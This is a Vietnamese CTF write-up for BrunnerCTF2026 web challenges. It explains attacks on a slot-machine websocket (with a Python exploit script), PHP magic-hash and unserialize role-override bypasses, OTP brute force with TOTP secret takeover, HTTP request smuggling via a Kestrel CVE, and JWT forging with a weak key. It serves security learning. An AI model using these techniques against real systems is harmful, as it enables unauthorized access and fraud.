Post

Writeup Giải BRUNNERCTF2026

Writeup Giải BRUNNERCTF2026

Brunner Mifflin - Complaint Box

Toby is HR at Brunner Mifflin’s Odense branch. He usually reads the complaint before stuffing it into the complaint box. He makes sure to inform everyone that their complaint has been read, filed and archived correctly - but could there be something he isn’t telling them?

Truy cập vào đường dẫn được cung cấp thì nhận được giao diện như sau:

Nhập các trường thông tin và bắt request trong burpsuite thì nhận được flag:

Apply here

Brunnerne Incorporated is hiring! We are a fast-paced, mission-driven family looking for passionate self-starters to join our journey.

So you applied. And then you waited. Estimated response time is 3 to 5 business decades and HR is frankly not reading their inbox.

Maybe you should just approve yourself.

Truy cập đường dẫn được cung cấp thì nhận được trang web với giao diện sau:

Chuyển sang mục apply thì nhận được form để nhập thông tin:

Sau khi nhập thông tin thì nhận được trạng thái Pending

Theo gợi ý của đề bài thì ta cần tự duyệt đơn của chính mình. Truy cập vào Employee Portal tại footer của trang thì truy cập được một login page như sau:

Tuy nhiên ta không có thông tin đăng nhập, khi xem source code của trang này thì thấy có thông tin xác thực bị leak:

Đăng nhập với thông tin được cung cấp thì truy cập được trang quản trị và ta có thể duyệt đơn của chính mình:

Sau khi duyệt đơn mà ta đã gửi lúc đầu thì nhận được flag:

Fair Gambling

Earn a bigger yearly employee bonus at Brunnerne Inc new “fair luck initiative” 🎰

Truy cập đường dẫn được cung cấp thì vào được giao diện quay thưởng như sau:

Do thử thách này được cung cấp source code nên cùng xem qua source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
const FLAG = "brunner{REDACTED}";
const START_CASH = 1000;
const SPIN_COST = 25;
const FLAG_COST = 1_000_000;
const STREAK_MULTIPLIER = 3;
const COOKIE_MAX_AGE = 2_147_483_647;
const PORT = Number(Bun.env.PORT ?? 3000);

type SymbolDef = { emoji: string; weight: number; payout: number };
type User = { cash: number; flagBought: boolean; winStreak: number };
type PreparedSpin = { userid: string; result: string[]; hash: string; win: number };
type SpinRef = { sid: string; hash: string };

const symbols: SymbolDef[] = [
  { emoji: "🍒", weight: 500, payout: 50 },
  { emoji: "🍋", weight: 260, payout: 100 },
  { emoji: "🍇", weight: 130, payout: 250 },
  { emoji: "🍉", weight: 60, payout: 1_000 },
  { emoji: "🔔", weight: 20, payout: 5_000 },
  { emoji: "", weight: 5, payout: 20_000 },
  { emoji: "💎", weight: 25, payout: 100_000 },
];

const users = new Map<string, User>();
const spins = new Map<string, PreparedSpin>();
const html = Bun.file("index.html");

const json = (data: unknown) => JSON.stringify(data);
const send = (ws: ServerWebSocket<{ userid: string }>, data: unknown) => ws.send(json(data));

const id = () => crypto.randomUUID();

function discardPreparedSpins(userid: string) {
  for (const [sid, spin] of spins) {
    if (spin.userid === userid) spins.delete(sid);
  }
}

function getUser(userid: string) {
  let user = users.get(userid);
  if (!user) {
    user = { cash: START_CASH, flagBought: false, winStreak: 0 };
    users.set(userid, user);
  }
  return user;
}

function weightedPick() {
  const total = symbols.reduce((sum, symbol) => sum + symbol.weight, 0);
  let roll = crypto.getRandomValues(new Uint32Array(1))[0] / 2 ** 32 * total;

  for (const symbol of symbols) {
    roll -= symbol.weight;
    if (roll <= 0) return symbol;
  }

  return symbols[0];
}

async function sha1(value: string) {
  const bytes = new TextEncoder().encode(value);
  const hash = await crypto.subtle.digest("SHA-1", bytes);
  return [...new Uint8Array(hash)]
    .map((byte) => byte.toString(16).padStart(2, "0"))
    .join("");
}

async function prepareSpin(userid: string) {
  const result = [weightedPick(), weightedPick(), weightedPick()];
  const emojis = result.map((symbol) => symbol.emoji);
  const win = emojis.every((emoji) => emoji === emojis[0]) ? result[0].payout : 0;
  const sid = id();

  const spin = { userid, result: emojis, win, hash: await sha1(emojis.join("")) };
  spins.set(sid, spin);
  return { sid, hash: spin.hash } satisfies SpinRef;
}

async function spin(ws: ServerWebSocket<{ userid: string }>, sid?: string) {
  const user = getUser(ws.data.userid);
  const current = sid ? spins.get(sid) : undefined;

  if (!current || current.userid !== ws.data.userid) {
    // An invalid SID deliberately discards a prepared result without charging the user.
    discardPreparedSpins(ws.data.userid);
    send(ws, {
      type: "spin",
      status: "discarded",
      message: "Spin expired. Prepared a replacement.",
      next: await prepareSpin(ws.data.userid),
    });
    return;
  }

  if (user.cash < SPIN_COST) {
    send(ws, {
      type: "spin",
      status: "rejected",
      message: "Not enough cash to spin.",
      next: { sid: sid!, hash: current.hash },
    });
    return;
  }

  spins.delete(sid);
  user.cash -= SPIN_COST;
  let win = current.win;
  if (win > 0) {
    user.winStreak++;
    win *= STREAK_MULTIPLIER ** (user.winStreak - 1);
  } else {
    user.winStreak = 0;
  }
  user.cash += win;
  const next = await prepareSpin(ws.data.userid);

  send(ws, {
    type: "spin",
    status: "revealed",
    result: {
      sid,
      symbols: current.result,
      hash: current.hash,
      win,
    },
    cash: user.cash,
    streak: user.winStreak,
    next,
  });
}

function redeem(ws: ServerWebSocket<{ userid: string }>) {
  const user = getUser(ws.data.userid);
  if (user.flagBought) {
    send(ws, { type: "flag", flag: FLAG, cash: user.cash });
    return;
  }

  if (user.cash < FLAG_COST) {
    send(ws, {
      type: "error",
      message: `Redeem costs $${FLAG_COST.toLocaleString()}.`,
    });
    return;
  }

  user.cash -= FLAG_COST;
  user.flagBought = true;
  send(ws, { type: "flag", flag: FLAG, cash: user.cash });
}

Bun.serve<{ userid: string }>({
  port: PORT,
  fetch(req, server) {
    const url = new URL(req.url);
    const cookieUserid = req.headers.get("cookie")?.match(/(?:^|; )userid=([^;]+)/)?.[1];

    if (url.pathname === "/ws") {
      const userid = cookieUserid || id();
      if (server.upgrade(req, { data: { userid } })) return;
      return new Response("WebSocket upgrade failed", { status: 400 });
    }

    if (url.pathname === "/" || url.pathname === "/index.html") {
      const userid = cookieUserid || id();
      getUser(userid);
      return new Response(html, {
        headers: {
          "content-type": "text/html; charset=utf-8",
          "set-cookie": `userid=${userid}; Path=/; Max-Age=${COOKIE_MAX_AGE}; SameSite=Lax`,
        },
      });
    }

    return new Response("Not found", { status: 404 });
  },
  websocket: {
    async open(ws) {
      const user = getUser(ws.data.userid);
      send(ws, {
        type: "state",
        cash: user.cash,
        flagBought: user.flagBought,
        streak: user.winStreak,
        spinCost: SPIN_COST,
        flagCost: FLAG_COST,
        streakMultiplier: STREAK_MULTIPLIER,
        symbols,
        next: await prepareSpin(ws.data.userid),
      });
    },
    message(ws, message) {
      let data: { type?: string; sid?: string };
      try {
        data = JSON.parse(String(message));
      } catch {
        send(ws, { type: "error", message: "Bad message." });
        return;
      }

      if (data.type === "spin") spin(ws, data.sid);
      if (data.type === "redeem") redeem(ws);
    },
  },
});

console.log(`Brunnerne Inc Yearly Bonus Opportunity running at http://localhost:${PORT}`);

Để ý thì trong đoạn code bên dưới thì người dùng có thể biết trước được giá trị sid và hash của lượt quay kết tiếp, và nếu ta gửi lại sid cũ hoặc không hợp lệ thì server sẽ từ chối và sẽ tạo lại sid và hash của lượt quay tiếp theo mà không tính phí người dùng.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
async function prepareSpin(userid: string) {
  const result = [weightedPick(), weightedPick(), weightedPick()];
  const emojis = result.map((symbol) => symbol.emoji);
  const win = emojis.every((emoji) => emoji === emojis[0]) ? result[0].payout : 0;
  const sid = id();

  const spin = { userid, result: emojis, win, hash: await sha1(emojis.join("")) };
  spins.set(sid, spin);
  return { sid, hash: spin.hash } satisfies SpinRef;
}

async function spin(ws: ServerWebSocket<{ userid: string }>, sid?: string) {
  const user = getUser(ws.data.userid);
  const current = sid ? spins.get(sid) : undefined;

  if (!current || current.userid !== ws.data.userid) {
    // An invalid SID deliberately discards a prepared result without charging the user.
    discardPreparedSpins(ws.data.userid);
    send(ws, {
      type: "spin",
      status: "discarded",
      message: "Spin expired. Prepared a replacement.",
      next: await prepareSpin(ws.data.userid),
    });
    return;
  }

Mà cũng dựa vào soure code bên trên thì giá trị hash được tính từ các giá trị emoij và quy định chúng ta sẽ thắng hay thua trong round đó nên ý tưởng khai thác của thử thách này đó là tạo một một list hash chiến thắng (gồm 7 nhóm emoji giống nhau) và sau đó liên tiếp gửi các giá trị sid không hợp lệ để kiểm tra giá trị hash tiếp theo cho đến khi trùng với giá trị hash cho chiến thắng thì mới gửi request quay với sid kế tiếp. Cứ lặp lại như vậy sau một khoảng thời gian ngắn thì ta sẽ nhận đủ số tiền thưởng để đối flag do tiền được tính theo cấp số nhân của chuỗi thắng.

Đây là một ví dụ về giá trị sid và hash của lượt kế tiếp mà server trả về khi gửi một sid không hợp lệ:

Vì logic khai thác của bài này có tính lặp đi lặp lại nên mình đã code một đoạn mã tự động khai thác như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import hashlib
import websocket
import json

def gen_win_hash():
    symbols = [
        {"emoji": "🍒", "weight": 500, "payout": 50},
        {"emoji": "🍋", "weight": 260, "payout": 100},
        {"emoji": "🍇", "weight": 130, "payout": 250},
        {"emoji": "🍉", "weight": 60, "payout": 1_000},
        {"emoji": "🔔", "weight": 20, "payout": 5_000},
        {"emoji": "", "weight": 5, "payout": 20_000},
        {"emoji": "💎", "weight": 25, "payout": 100_000},
    ]
    array= []
    for item in symbols:
        emoji = item["emoji"]
        combo_string = emoji * 3
        hash_hex = hashlib.sha1(combo_string.encode('utf-8')).hexdigest()
        array.append(hash_hex)
    return array



def on_message(ws, message):
    win_hashes = gen_win_hash()
    try:
        data = json.loads(message)
        cash = data.get("cash")
        if data["type"] == "flag":
            print(f"Flag: {data['flag']}")
            ws.close()
            return
        if cash != None and cash > 1000000:
            redem = {"type":"redeem"}
            ws.send(json.dumps(redem))
        if data["next"]["hash"] in win_hashes:
            payload = {
        "type": "spin",
        "sid": data["next"]["sid"]
    }
            ws.send(json.dumps(payload))
        else:
            payload = {"type":"spin","sid":"dopamean"}
            ws.send(json.dumps(payload))

                
    except Exception as e:
        print(f"Lỗi khi xử lý JSON: {e}")

if __name__ == "__main__":
    target_url = "wss://fair-gambling-98a59b0e026b4a33-global.challs.brunnerne.xyz/ws"
    ws = websocket.WebSocketApp(
        target_url,
        on_message=on_message,
    )
    ws.run_forever()

Sau khi chạy exploit thì nhận được flag sau:

1
2
PS C:\Users\TRAN VAN NGHIA\Downloads\web_fair-gambling\web_fair-gambling> python .\Exploit.py
Flag: brunner{l3ts_g0_g4mbl1ng}

PHP 2003

The old hosting provider’s reservation portal is still online, but its booking system has long since been retired. Can you recover the customer-area flag?

Truy cập đường dẫn được cung cấp thì nhận được giao diện như sau:

Khi nhập các trường thông tin thì nhận được thông báo lỗi như sau:

Ngoài ra không có gì đặc biệt nên mình đã thử bruteforce đường dẫn và nhận được kết quả là có thể truy cập robots.txt và nhận được kết quả như sau:

1
2
3
4
5
6
User-agent: *
Disallow: /cgi-bin/
Disallow: /stats/
Disallow: /webmail/
Disallow: /private/
Disallow: /index.phps

Truy cập vào /index.phps thì nhận được source code của trang web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
declare(strict_types=1);

const ACCESS_CODE_HASH = '0e769468064680399918991535722650';

final class Voucher
{
    public function __toString(): string
    {
        return getenv('WEBHOTEL_LICENSE_KEY') ?: 'brunner{REDACTED}';
    }
}

final class Receipt
{
    public bool $flushOnShutdown = false;
    public mixed $voucher = null;

    public function __destruct()
    {
        if ($this->flushOnShutdown && $this->voucher instanceof Voucher) {
            $flag = htmlspecialchars((string) $this->voucher, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
            echo '<div class="result flag">' . $flag . '</div>';
        }
    }
}

final class Booking
{
    public string $user = '';
    public string $role = 'guest';
    public mixed $receipt = null;
}

function legacy_cgi_request(): bool
{
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);

    if (str_contains($decoded, '-')) {
        return false;
    }

    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}

function first_serialized_string(string $serialized, string $property): ?string
{
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';

    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }

    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}

$message = '';
$messageClass = 'error';
$destroyBooking = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $staffPin = (string) ($_POST['staff_pin'] ?? '');
    $encodedReservation = (string) ($_POST['reservation_export'] ?? '');
    $reservation = base64_decode($encodedReservation, true);

    if (!legacy_cgi_request()) {
        $message = 'The reservation service is unavailable.';
    } elseif (md5($staffPin) != ACCESS_CODE_HASH) {
        $message = 'Recovery code rejected.';
    } elseif ($reservation === false) {
        $message = 'Reservation export rejected.';
    } elseif (first_serialized_string($reservation, 'role') !== 'guest') {
        $message = 'Only customer reservations can be imported.';
    } else {
        $booking = @unserialize($reservation, [
            'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
        ]);

        if (!$booking instanceof Booking) {
            $message = 'Reservation export could not be read.';
        } elseif ($booking->role !== 'admin') {
            $message = 'A staff reservation is required.';
        } elseif (!$booking->receipt instanceof Receipt) {
            $message = 'Receipt missing from reservation export.';
        } else {
            $booking->receipt->flushOnShutdown = true;
            $destroyBooking = $booking;
            $message = 'Reservation imported.';
            $messageClass = 'ok';
        }
    }
}
?>

Dựa vào đoạn code thì nhận thấy 1 số cơ chế kiểm soát

đầu tiên phần query string phải là -d webhotel.legacy=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function legacy_cgi_request(): bool
{
    $raw = $_SERVER['QUERY_STRING'] ?? '';
    $decoded = urldecode($raw);

    if (str_contains($decoded, '-')) {
        return false;
    }

    $normalized = str_replace("\u{00AD}", '-', $decoded);
    return trim($normalized) === '-d webhotel.legacy=1';
}


if (!legacy_cgi_request()) {
        $message = 'The reservation service is unavailable.';
    }

Vì kí tự \u{00AD} được chuyển thành - nên ta chỉ cần gửi request như sau do kí tự \u{00AD} được mã hóa dưới dạng UTF-8 như sau:

1
POST /?%C2%ADd+webhotel.legacy=1 HTTP/2

Sau khi gửi request thì nhận được kết quả:

Tiếp đến là server kiểm tra code xem md5($staffPin) có bằng 0e769468064680399918991535722650 hay không:

1
2
3
elseif (md5($staffPin) != ACCESS_CODE_HASH) {
        $message = 'Recovery code rejected.';
    }

Do ở đây không so sánh kiểu dữ liệu nên ta có thể tìm các magic hash để bypass đoạn kiểm tra này:

Gửi request với pin là QNKCDZO thì bypass được và chuyển sang đoạn kiểm tra tiếp theo:

Tiếp theo là đoạn code lỗi logic liên quan đến PHP unserialize:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function first_serialized_string(string $serialized, string $property): ?string
{
    $name = preg_quote($property, '/');
    $pattern = '/s:' . strlen($property) . ':"' . $name . '";s:(\d+):"(.*?)";/s';

    if (!preg_match($pattern, $serialized, $match)) {
        return null;
    }

    return strlen($match[2]) === (int) $match[1] ? $match[2] : null;
}


elseif ($reservation === false) {
        $message = 'Reservation export rejected.';
    } elseif (first_serialized_string($reservation, 'role') !== 'guest') {
        $message = 'Only customer reservations can be imported.';
    } else {
        $booking = @unserialize($reservation, [
            'allowed_classes' => [Booking::class, Receipt::class, Voucher::class],
        ]);

        if (!$booking instanceof Booking) {
            $message = 'Reservation export could not be read.';
        } elseif ($booking->role !== 'admin') {
            $message = 'A staff reservation is required.';
        } elseif (!$booking->receipt instanceof Receipt) {
            $message = 'Receipt missing from reservation export.';
        } else {
            $booking->receipt->flushOnShutdown = true;
            $destroyBooking = $booking;
            $message = 'Reservation imported.';
            $messageClass = 'ok';
        }

Dựa vào logic code thì chúng ta cần chèn một Object thỏa mãn đồng thời hai điều kiện mâu thuẫn:

  1. Hàm first_serialized_string() (dùng Regex) phải thấy thuộc tính role là “guest”.
  2. Sau khi unserialize(), object thực tế phải có role là “admin”.

Do hàm regex /s:4:"role";s:(\d+):"(.*?)";/s quét tuần tự từ đầu đến cuối chuỗi và sẽ bám vào kết quả đầu tiên nó tìm thấy. Tuy nhiên, unserialize() của PHP lại có tính năng ghi đè: nếu một object chứa hai thuộc tính trùng tên, thuộc tính phía sau sẽ đè lên thuộc tính phía trước.

Từ đó ta tạo được payload như sau:

Encode payload trên và gửi lên server thì nhận được flag:

Dumb-factor Authentication

Truy cập đường dẫn được cung cấp thì nhận được kết quả như sau:

Khi truy cập mục login thì không cần thông tin xác thực mà chỉ cần nhập OTP:

Brute force request trên thì nhận được kết quả như sau:

Vì trong mục trang chủ cũng đề cập là web hiện tại có 1000 tài khoản và nó cũng không cần thông tin username và password để đăng nhập mà chỉ cần OTP nên việc brute force trúng được 1 user nào đó là cực kì dễ dàng:

Sử dụng token bruteforce được thì truy cập được vào 1 user bất kì:

Truy cập vào mục feedback thì có thể tạo feedback mới. Tuy nhiên lại không thể IDOR các feedback khác mà nó yêu cầu có quyền admin:

Truy cập mục setting thì nhận được thông tin như sau:

Dựa vào gợi ý thì ta có thể cập nhật tên user thành admin:

Nhấn vào reset key thì nhận được key mới như sau:

1
https://api.qrserver.com/v1/create-qr-code/?size=180x180&data=otpauth://totp/BrunnerneHR:admin?secret=Y2W4PYAQM2UWIIEO%26issuer=BrunnerneHR

Lấy secret trên và vào trang TOPT.app để tạo mã OTP mới:

Đăng xuất phiên cũ ra và nhập OTP được sinh từ OTP.app thì vào được giao diện của admin. Truy cập vào ID feedback 24 không truy cập được ban đầu thì nhận được flag:

Welcome Aboard

Your employee account has access to the Brunnerne Inc. Wiki, where you’ll find onboarding guides and technical documentation. The platform sits behind multiple layers of infrastructure, and IT is confident every chunk reaches the backend, exactly as expected. Explore the wiki and see if everything behaves as intended.

Truy cập đường dẫn được cung cấp thì nhận được giao diện như sau:

Khi dạo quanh trang web 1 vòng mà không tìm được gì hữu ích nên mình thử truy cập robots.txt thì nhận được thông tin sau:

1
2
User-agent: *
Disallow: /wiki/internal/flag

Truy cập đường dẫn trên thì nhận được phản hồi:

Dựa vào gợi ý của đề bài thì có thể có lỗi HTTP Request Smuggling để giúp ta có thẻ lấy được flag. Ngoài ra thì trang web đang chạy trên Kestrel bị ảnh hưởng bởi CVE-2025-55315 liên quan đến HTTP request smuggling

Ngoài ra có thêm tính năng search như sau:

ta có thể tận dụng nó để smuggling với request như sau:

Để hiểu thêm về CVE này thì mình khuyến khích các bạn đọc bài nghiên cứu này:

Funky chunks: abusing ambiguous chunk line terminators for request smuggling

Jeppe’s place.

Secret Event

You can’t just make stuff up

Truy cập đường dẫn được cung cấp thì nhận được giao diện sau:

Đăng kí tài khoản và đăng nhập thì vào được giao diện dashboard:

Truy cập admin thì không có quyền truy cập:

Quay trở lại burpsuite thì nhận được cảnh báo liên quan đến JWT như sau, ngoài ra role được quản lý thông qua JWT nên ta cần tạo một JWT có role admin thì sẽ truy cập được /admin

Thử bruteforce key thì nhận được key là secret:

Kí token với role admin đối với key vừa nhận được thì nhận được kết quả như sau:

Truy cập admin với token vừa kí thì nhận được flag:

This post is licensed under CC BY 4.0 by the author.